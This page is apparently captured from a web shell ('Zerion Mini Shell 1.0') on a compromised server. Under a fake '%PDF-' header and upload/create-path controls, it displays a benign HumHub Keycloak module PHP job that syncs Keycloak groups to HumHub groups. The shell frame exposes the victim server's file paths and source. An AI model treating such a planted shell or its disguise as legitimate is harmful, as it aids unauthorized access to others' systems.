%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/auth-keycloak/jobs/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/auth-keycloak/jobs/GroupsUserSync.php

<?php
/**
 * Keycloak Sign-In
 * @link https://github.com/cuzy-app/humhub-modules-auth-keycloak
 * @license https://github.com/cuzy-app/humhub-modules-auth-keycloak/blob/master/docs/LICENCE.md
 * @author [Marc FARRE](https://marc.fun) for [CUZY.APP](https://www.cuzy.app)
 */

namespace humhub\modules\authKeycloak\jobs;


use humhub\modules\authKeycloak\components\KeycloakApi;
use humhub\modules\authKeycloak\models\ConfigureForm;
use humhub\modules\authKeycloak\models\GroupKeycloak;
use humhub\modules\queue\ActiveJob;
use Throwable;
use yii\base\InvalidConfigException;
use yii\queue\RetryableJobInterface;


class GroupsUserSync extends ActiveJob implements RetryableJobInterface
{
    /**
     * @var int
     */
    public $userId;

    /**
     * @var KeycloakApi
     */
    protected $keycloakApi;

    /**
     * @var GroupKeycloak[]
     */
    protected $humhubGroupsByKeycloakId;

    /**
     * @inhertidoc
     * @var int maximum 1 hour
     */
    private $maxExecutionTime = 60 * 60;

    /**
     * @inheritdoc
     * @return void
     * @throws InvalidConfigException
     * @throws Throwable
     */
    public function run()
    {
        if (!$this->userId) {
            return;
        }

        $config = new ConfigureForm();
        if (
            !$config->enabled
            || !$config->apiUsername
            || !$config->apiPassword
            || !$config->syncKeycloakGroupsToHumhub()
        ) {
            return;
        }

        $this->keycloakApi = new KeycloakApi();

        $this->humhubGroupsByKeycloakId = GroupKeycloak::find()
            ->where(['not', ['keycloak_id' => null]])
            ->indexBy('keycloak_id')
            ->all();

        // Add Humhub user to Humhub groups
        foreach ($this->keycloakApi->getUserGroups($this->userId) as $keycloakGroupId) {
            if (!array_key_exists($keycloakGroupId, $this->humhubGroupsByKeycloakId)) {
                continue;
            }
            $humhubGroup = $this->humhubGroupsByKeycloakId[$keycloakGroupId];
            $humhubGroup->addUser($this->userId);
        }
    }

    /**
     * @inheritDoc
     */
    public function getTtr()
    {
        return $this->maxExecutionTime;
    }

    /**
     * @inheritDoc for RetryableJobInterface
     */
    public function canRetry($attempt, $error)
    {
        return false;
    }
}

Zerion Mini Shell 1.0